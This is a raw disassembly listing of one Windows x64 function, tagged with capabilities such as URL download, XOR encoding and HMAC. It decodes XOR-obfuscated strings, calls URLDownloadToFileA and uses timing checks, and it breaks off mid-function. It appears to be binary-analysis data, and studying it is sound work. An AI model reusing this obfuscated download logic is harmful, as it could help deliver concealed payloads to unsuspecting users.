Function at 0x7ff741c54190
Capabilities:
Authenticate hmac
Download url
Encode data using xor
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xc0]
sub rsp, 0x1c0
mov rax, qword [0x7ff741cd7188]
xor rax, rsp
mov qword [rbp + 0xb0], rax
mov dword [rbp - 0x30], r9d
mov r13, rdx
mov qword [rbp + 0x20], rdx
mov rsi, rcx
mov qword [rbp - 0x40], rcx
mov qword [rbp + 0x28], rdx
mov r15, qword [rbp + 0x120]
mov qword [rbp + 0x28], r15
xor r14d, r14d
mov edi, r14d
mov dword [rbp + 0x1c], r14d
mov dword [rbp + 0x18], r14d
mov ecx, dword [r8]
test ecx, ecx
je 0x7ff741c55714
cmp ecx, 1
je 0x7ff741c542ee
movdqa xmm1, xmmword [0x7ff741cbd080]
movdqu xmmword [rsp + 0x40], xmm1
mov dl, 0x52
mov r8b, 1
mov r9b, 6
mov r10b, 0x13
movzx r11d, r9b
mov bl, 0x17
mov dil, 0x5c
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x41], al
xor byte [rsp + 0x42], cl
xor byte [rsp + 0x43], cl
xor byte [rsp + 0x44], cl
xor byte [rsp + 0x45], cl
xor byte [rsp + 0x46], cl
xor byte [rsp + 0x47], cl
xor byte [rsp + 0x48], cl
xor byte [rsp + 0x49], cl
xor byte [rsp + 0x4a], cl
xor byte [rsp + 0x4b], cl
xor byte [rsp + 0x4c], cl
xor byte [rsp + 0x4d], cl
xor byte [rsp + 0x4e], cl
xor byte [rsp + 0x4f], cl
xor dl, cl
mov byte [rsp + 0x50], dl
xor r8b, cl
mov byte [rsp + 0x51], r8b
xor r9b, cl
mov byte [rsp + 0x52], r9b
xor r10b, cl
mov byte [rsp + 0x53], r10b
xor r11b, cl
mov byte [rsp + 0x54], r11b
xor bl, cl
mov byte [rsp + 0x55], bl
xor dil, cl
mov byte [rsp + 0x56], dil
mov byte [rsp + 0x57], r14b
xorps xmm0, xmm0
movups xmmword [r13], xmm0
mov qword [r13 + 0x10], r14
mov qword [r13 + 0x18], r14
lea rax, [rsp + 0x41]
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [rax + rbx], r14b
jne 0x7ff741c542d0
mov r8, rbx
lea rdx, [rsp + 0x41]
mov rcx, r13
call fcn.7ff741c04170
jmp 0x7ff741c557fd
mov rbx, 0xffffffffffffffff
movabs r12, 0x7fffffffffffffff
cmp byte [rsi + 0xf2], dil
je 0x7ff741c54d1c
cmp dword [rsi + 0xd0], edi
jne 0x7ff741c54320
call qword [sym.imp.ucrtbase.dll_clock]
mov dword [rsi + 0xd0], eax
call qword [sym.imp.ucrtbase.dll_clock]
sub eax, dword [rsi + 0xd0]
cmp eax, dword [rsi + 0xd4]
jle 0x7ff741c55441
mov byte [rsp + 0x40], 0x53
mov al, 0x3e
mov cl, 0x3c
mov dl, 0x37
mov r8b, 0x26
mov r9b, 0x3f
mov r10b, 0x36
mov r11b, 0x7e
mov bl, 0x3d
mov dil, 0x32
movzx esi, al
movzx r14d, r10b
xor r15d, r15d
xor al, 0x53
mov byte [rsp + 0x41], al
xor cl, 0x53
mov byte [rsp + 0x42], cl
xor dl, 0x53
mov byte [rsp + 0x43], dl
xor r8b, 0x53
mov byte [rsp + 0x44], r8b
xor r9b, 0x53
mov byte [rsp + 0x45], r9b
xor r10b, 0x53
mov byte [rsp + 0x46], r10b
xor r11b, 0x53
mov byte [rsp + 0x47], r11b
xor bl, 0x53
mov byte [rsp + 0x48], bl
xor dil, 0x53
mov byte [rsp + 0x49], dil
xor sil, 0x53
mov byte [rsp + 0x4a], sil
xor r14b, 0x53
mov byte [rsp + 0x4b], r14b
mov byte [rsp + 0x4c], r15b
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x18], xmm1
lea rax, [rsp + 0x41]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x7ff741c543e0
lea rdx, [rsp + 0x41]
lea rcx, [rbp - 0x28]
call fcn.7ff741c04170
nop
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x90]
call fcn.7ff741c62fd0
nop
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x7ff741c54447
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff741c54442
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff741c54442
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff741ca88ac
movdqa xmm0, xmmword [0x7ff741cbcf80]
movdqu xmmword [rbp - 0x18], xmm0
mov byte [rbp - 0x28], 0
lea r9, [rbp + 0x90]
mov r14d, dword [rbp - 0x30]
mov r8d, r14d
lea rdx, [rbp + 0x70]
call fcn.7ff741c084e0
nop
movdqa xmm1, xmmword [0x7ff741cbd220]
movdqu xmmword [rsp + 0x40], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x41], al
xor byte [rsp + 0x42], cl
xor byte [rsp + 0x43], cl
xor byte [rsp + 0x44], cl
xor byte [rsp + 0x45], cl
xor byte [rsp + 0x46], cl
xor byte [rsp + 0x47], cl
xor byte [rsp + 0x48], cl
xor byte [rsp + 0x49], cl
xor byte [rsp + 0x4a], cl
xor byte [rsp + 0x4b], cl
xor byte [rsp + 0x4c], cl
xor byte [rsp + 0x4d], cl
xor byte [rsp + 0x4e], cl
xor byte [rsp + 0x4f], cl
mov byte [rsp + 0x50], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x18], xmm1
lea rax, [rsp + 0x41]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x7ff741c544f0
lea rdx, [rsp + 0x41]
lea rcx, [rbp - 0x28]
call fcn.7ff741c04170
nop
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x50]
call fcn.7ff741c62fd0
nop
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x7ff741c54555
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff741c54550
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff741c54550
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff741ca88ac
movdqa xmm0, xmmword [0x7ff741cbcf80]
movdqu xmmword [rbp - 0x18], xmm0
mov byte [rbp - 0x28], 0
movabs rdi, 0x7fffffffffffffff
mov rax, rdi
mov rcx, qword [rbp + 0x80]
sub rax, rcx
mov rdx, qword [rbp + 0x60]
cmp rax, rdx
jb 0x7ff741c55830
lea r9, [rbp + 0x70]
cmp qword [rbp + 0x88], 0x10
cmovae r9, qword [rbp + 0x70]
lea rax, [rbp + 0x50]
cmp qword [rbp + 0x68], 0x10
cmovae rax, qword [rbp + 0x50]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x70]
movzx edx, byte [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.7ff741c08180
lea r8, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae r8, qword [rsp + 0x40]
mov rsi, qword [rbp - 0x40]
lea rdx, [rsi + 0x68]
cmp qword [rdx + 0x18], 0x10
jb 0x7ff741c545ee
mov rdx, qword [rdx]
xor r15d, r15d
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x7ff741c54641
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff741c5463c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff741c5463c
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff741ca88ac
mov rax, rdi
mov rcx, qword [rbp + 0x80]
sub rax, rcx
mov rdx, qword [rbp + 0x60]
cmp rax, rdx
jb 0x7ff741c55836
lea r9, [rbp + 0x70]
cmp qword [rbp + 0x88], 0x10
cmovae r9, qword [rbp + 0x70]
lea rax, [rbp + 0x50]
cmp qword [rbp + 0x68], 0x10
cmovae rax, qword [rbp + 0x50]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x70]
movzx edx, byte [rsp + 0x60]
lea rcx, [rbp - 8]
call fcn.7ff741c08180
mov dword [rbp + 0x18], 0x180
lea rdx, [rbp - 8]
cmp qword [rbp + 0x10], 0x10
cmovae rdx, qword [rbp - 8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8, rbx
inc r8
cmp byte [rdx + r8], 0
jne 0x7ff741c546c4
lea rcx, [rsp + 0x40]
call fcn.7ff741c04170
mov r8d, r14d
lea rdx, [rsp + 0x40]
call fcn.7ff741c05e30
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x7ff741c54725
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff741c54720
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff741c54720
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff741ca88ac
movdqa xmm0, xmmword [0x7ff741cbcf80]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
mov rdx, qword [rbp + 0x10]
cmp rdx, 0x10
jb 0x7ff741c54776
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff741c54771
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff741c54771
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff741ca88ac
lea rcx, [0x7ff741cef7c0]
call fcn.7ff741c06d40
lea r8, [rbp + 0x50]
mov edx, r14d
call fcn.7ff741c08d20
mov byte [rbp - 0x40], 0x6a
mov al, 0x39
mov cl, 0x1f
mov dl, 9
movzx r8d, dl
mov r9b, 0xf
mov r10b, 0x19
movzx r11d, r10b
xor edi, edi
xor al, 0x6a
mov byte [rbp - 0x3f], al
xor cl, 0x6a
mov byte [rbp - 0x3e], cl
xor dl, 0x6a
mov byte [rbp - 0x3d], dl
xor r8b, 0x6a
mov byte [rbp - 0x3c], r8b
xor r9b, 0x6a
mov byte [rbp - 0x3b], r9b
xor r10b, 0x6a
mov byte [rbp - 0x3a], r10b
xor r11b, 0x6a
mov byte [rbp - 0x39], r11b
mov byte [rbp - 0x38], dil
movdqa xmm0, xmmword [0x7ff741cbd020]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x7ff741cbd040]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm0, xmmword [0x7ff741cbd1c0]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x7ff741cbd0a0]
movdqa xmmword [rbp - 0x60], xmm1
mov dword [rbp - 0x50], 0x302c3e59
mov word [rbp - 0x4c], 0x57
mov rcx, r15
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x71], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x72], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x73], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x74], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x75], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x76], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x77], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x78], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x79], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x7a], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x7b], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x7c], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x7d], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x7e], al
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x7f], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x80], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x7f], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x7e], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x7d], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x7c], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x7b], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x7a], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x79], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x78], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x77], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x76], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x75], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x74], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x73], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x72], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x71], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x70], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x6f], al
movzx eax, byte [rsp + 0x70]
xor byte [rbp + rcx - 0x6e], al
add rcx, 0x22
cmp rcx, 0x44
jb 0x7ff741c54822
mov byte [rbp - 0x4b], dil
mov r9d, 0x40
lea r8, [rbp - 0x3f]
lea rdx, [rsp + 0x71]
xor ecx, ecx
call qword [sym.imp.user32.dll_MessageBoxA]
call qword [sym.imp.ucrtbase.dll_clock]
mov dword [rsi + 0xd0], eax
test r14d, r14d
je 0x7ff741c54af4
movdqa xmm1, xmmword [0x7ff741cbd050]
movdqu xmmword [rsp + 0x40], xmm1
mov cl, 0xb
mov dl, 0xa
mov r8b, 0x44
mov r10b, 7
movzx r11d, cl
mov dil, 9
mov sil, 0x14
mov r14b, 8
mov r15b, 1
mov r12b, 0x10
movzx r13d, r15b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r9d, xmm1
xor al, r9b
mov byte [rsp + 0x41], al
xor byte [rsp + 0x42], r9b
xor byte [rsp + 0x43], r9b
xor byte [rsp + 0x44], r9b
xor byte [rsp + 0x45], r9b
xor byte [rsp + 0x46], r9b
xor byte [rsp + 0x47], r9b
xor byte [rsp + 0x48], r9b
xor byte [rsp + 0x49], r9b
xor byte [rsp + 0x4a], r9b
xor byte [rsp + 0x4b], r9b
xor byte [rsp + 0x4c], r9b
xor byte [rsp + 0x4d], r9b
xor byte [rsp + 0x4e], r9b
xor byte [rsp + 0x4f], r9b
xor cl, r9b
mov byte [rsp + 0x50], cl
xor dl, r9b
mov byte [rsp + 0x51], dl
xor r8b, r9b
mov byte [rsp + 0x52], r8b
xor r10b, r9b
mov byte [rsp + 0x53], r10b
xor r11b, r9b
mov byte [rsp + 0x54], r11b
xor dil, r9b
mov byte [rsp + 0x55], dil
xor sil, r9b
mov byte [rsp + 0x56], sil
xor r14b, r9b
mov byte [rsp + 0x57], r14b
xor r15b, r9b
mov byte [rsp + 0x58], r15b
xor r12b, r9b
mov byte [rsp + 0x59], r12b
xor r13b, r9b
mov byte [rsp + 0x5a], r13b
mov al, 0x4a
xor al, r9b
mov byte [rsp + 0x5b], al
mov byte [rsp + 0x5c], 0
mov r8, qword [rbp + 0x28]
mov rcx, qword [r8 + 0x10]
lea rax, [rsp + 0x41]
inc rbx
cmp byte [rax + rbx], 0
jne 0x7ff741c54a91
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, rbx
jb 0x7ff741c5583c
mov r9, r8
cmp qword [r8 + 0x18], 0x10
jb 0x7ff741c54abd
mov r9, qword [r8]
mov qword [rsp + 0x30], rbx
lea rax, [rsp + 0x41]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
movzx edx, byte [rsp + 0x60]
lea rcx, [rbp + 0x30]
call fcn.7ff741c08180
lea rax, [rbp + 0x30]
mov ebx, 0x982
mov r13, qword [rbp + 0x20]
xor r15d, r15d
jmp 0x7ff741c54b93
movdqa xmm1, xmmword [0x7ff741cbd200]
movdqu xmmword [rsp + 0x40], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x41], al
xor byte [rsp + 0x42], cl
xor byte [rsp + 0x43], cl
xor byte [rsp + 0x44], cl
xor byte [rsp + 0x45], cl
xor byte [rsp + 0x46], cl
xor byte [rsp + 0x47], cl
xor byte [rsp + 0x48], cl
xor byte [rsp + 0x49], cl
xor byte [rsp + 0x4a], cl
xor byte [rsp + 0x4b], cl
xor byte [rsp + 0x4c], cl
xor byte [rsp + 0x4d], cl
xor byte [rsp + 0x4e], cl
xor byte [rsp + 0x4f], cl
mov byte [rsp + 0x50], dil
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 8], xmm1
lea rax, [rsp + 0x41]
nop word [rax + rax]
inc rbx
cmp byte [rax + rbx], dil
jne 0x7ff741c54b70
mov r8, rbx
lea rdx, [rsp + 0x41]
lea rcx, [rbp - 8]
call fcn.7ff741c04170
lea rax, [rbp - 8]
mov ebx, 0x184
movups xmm0, xmmword [rax]
movups xmmword [r13], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [r13 + 0x10], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
or ebx, 1
test bl, 4
je 0x7ff741c54bfd
and ebx, 0xfffffffb
mov rdx, qword [rbp + 0x10]
cmp rdx, 0x10
jb 0x7ff741c54bfd
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff741c54bf7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff741c54bf7
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff741ca88ac
nop
test bl, 2
je 0x7ff741c54c41
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x7ff741c54c41
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff741c54c3b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff741c54c3b
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff741ca88ac
nop
mov rdx, qword [rbp + 0x68]
cmp rdx, 0x10
jb 0x7ff741c54c7f
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff741c54c7a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff741c54c7a
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff741ca88ac
mov qword [rbp + 0x60], r15
mov qword [rbp + 0x68], 0xf
mov byte [rbp + 0x50], 0
mov rdx, qword [rbp + 0x88]
cmp rdx, 0x10
jb 0x7ff741c54cd1
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff741c54ccb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff741c54ccb
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff741ca88ac
nop
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0x10
jb 0x7ff741c557fd
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff741c5570a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff741c5570a
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
cmp byte [rsi + 0xf3], dil
je 0x7ff741c55447
mov byte [rsp + 0x40], 0x3e
mov al, 0x53
mov cl, 0x51
mov dl, 0x5a
mov r8b, 0x4b
mov r9b, 0x52
mov r10b, 0x5b
mov r11b, 0x13
mov dil, 0x50
mov sil, 0x5f
movzx r14d, al
movzx r15d, r10b
xor r13d, r13d
xor al, 0x3e
mov byte [rsp + 0x41], al
xor cl, 0x3e
mov byte [rsp + 0x42], cl
xor dl, 0x3e
mov byte [rsp + 0x43], dl
xor r8b, 0x3e
mov byte [rsp + 0x44], r8b
xor r9b, 0x3e
mov byte [rsp + 0x45], r9b
xor r10b, 0x3e
mov byte [rsp + 0x46], r10b
xor r11b, 0x3e
mov byte [rsp + 0x47], r11b
xor dil, 0x3e
mov byte [rsp + 0x48], dil
xor sil, 0x3e
mov byte [rsp + 0x49], sil
xor r14b, 0x3e
mov byte [rsp + 0x4a], r14b
xor r15b, 0x3e
mov byte [rsp + 0x4b], r15b
mov byte [rsp + 0x4c], r13b
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x18], xmm1
lea rax, [rsp + 0x41]
mov r8, rbx
mov r13, qword [rbp + 0x20]
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x7ff741c54dd0
lea rdx, [rsp + 0x41]
lea rcx, [rbp - 0x28]
call fcn.7ff741c04170
nop
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x90]
call fcn.7ff741c62fd0
nop
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x7ff741c54e38
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff741c54e33
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff741c54e33
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff741ca88ac
movdqa xmm0, xmmword [0x7ff741cbcf80]
movdqu xmmword [rbp - 0x18], xmm0
mov byte [rbp - 0x28], 0
lea r9, [rbp + 0x90]
mov r14d, dword [rbp - 0x30]
mov r8d, r14d
lea rdx, [rbp + 0x70]
call fcn.7ff741c084e0
nop
movdqa xmm1, xmmword [0x7ff741cbd1d0]
movdqu xmmword [rsp + 0x40], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x41], al
xor byte [rsp + 0x42], cl
xor byte [rsp + 0x43], cl
xor byte [rsp + 0x44], cl
xor byte [rsp + 0x45], cl
xor byte [rsp + 0x46], cl
xor byte [rsp + 0x47], cl
xor byte [rsp + 0x48], cl
xor byte [rsp + 0x49], cl
xor byte [rsp + 0x4a], cl
xor byte [rsp + 0x4b], cl
xor byte [rsp + 0x4c], cl
xor byte [rsp + 0x4d], cl
xor byte [rsp + 0x4e], cl
xor byte [rsp + 0x4f], cl
mov byte [rsp + 0x50], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x18], xmm1
lea rax, [rsp + 0x41]
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x7ff741c54ee0
lea rdx, [rsp + 0x41]
lea rcx, [rbp - 0x28]
call fcn.7ff741c04170
nop
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x50]
call fcn.7ff741c62fd0
nop
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x7ff741c54f45
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff741c54f40
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff741c54f40
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff741ca88ac
movdqa xmm0, xmmword [0x7ff741cbcf80]
movdqu xmmword [rbp - 0x18], xmm0
mov byte [rbp - 0x28], 0
mov rax, r12
mov rcx, qword [rbp + 0x80]
sub rax, rcx
mov rdx, qword [rbp + 0x60]
cmp rax, rdx
jb 0x7ff741c55842
lea r9, [rbp + 0x70]
cmp qword [rbp + 0x88], 0x10
cmovae r9, qword [rbp + 0x70]
lea rax, [rbp + 0x50]
cmp qword [rbp + 0x68], 0x10
cmovae rax, qword [rbp + 0x50]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x70]
movzx edx, byte [rsp + 0x60]
lea rcx, [rbp - 8]
call fcn.7ff741c08180
lea r8, [rbp - 8]
cmp qword [rbp + 0x10], 0x10
cmovae r8, qword [rbp - 8]
mov rsi, qword [rbp - 0x40]
lea rdx, [rsi + 0x68]
cmp qword [rdx + 0x18], 0x10
jb 0x7ff741c54fd0
mov rdx, qword [rdx]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov rdx, qword [rbp + 0x10]
cmp rdx, 0x10
jb 0x7ff741c55022
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff741c5501d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff741c5501d
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff741ca88ac
mov rax, r12
mov rcx, qword [rbp + 0x80]
sub rax, rcx
mov rdx, qword [rbp + 0x60]
cmp rax, rdx
jb 0x7ff741c55848
lea r9, [rbp + 0x70]
cmp qword [rbp + 0x88], 0x10
cmovae r9, qword [rbp + 0x70]
lea rax, [rbp + 0x50]
cmp qword [rbp + 0x68], 0x10
cmovae rax, qword [rbp + 0x50]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x70]
movzx edx, byte [rsp + 0x60]
lea rcx, [rbp - 8]
call fcn.7ff741c08180
mov edi, 0x600
mov dword [rbp + 0x1c], edi
mov dword [rbp + 0x18], edi
lea rdx, [rbp - 8]
cmp qword [rbp + 0x10], 0x10
cmovae rdx, qword [rbp - 8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x7ff741c550b0
lea rcx, [rsp + 0x40]
call fcn.7ff741c04170
mov r8d, r14d
lea rdx, [rsp + 0x40]
call fcn.7ff741c05e30
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x7ff741c55111
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff741c5510c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff741c5510c
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff741ca88ac
movdqa xmm0, xmmword [0x7ff741cbcf80]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
mov rdx, qword [rbp + 0x10]
cmp rdx, 0x10
jb 0x7ff741c55162
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff741c5515d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff741c5515d
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff741ca88ac
lea rcx, [0x7ff741cef7c0]
call fcn.7ff741c06d40
mov byte [rbp - 0x40], 0x65
mov al, 0x36
mov cl, 0x10
mov dl, 6
movzx r8d, dl
xor r9b, r9b
mov r10b, 0x16
movzx r11d, r10b
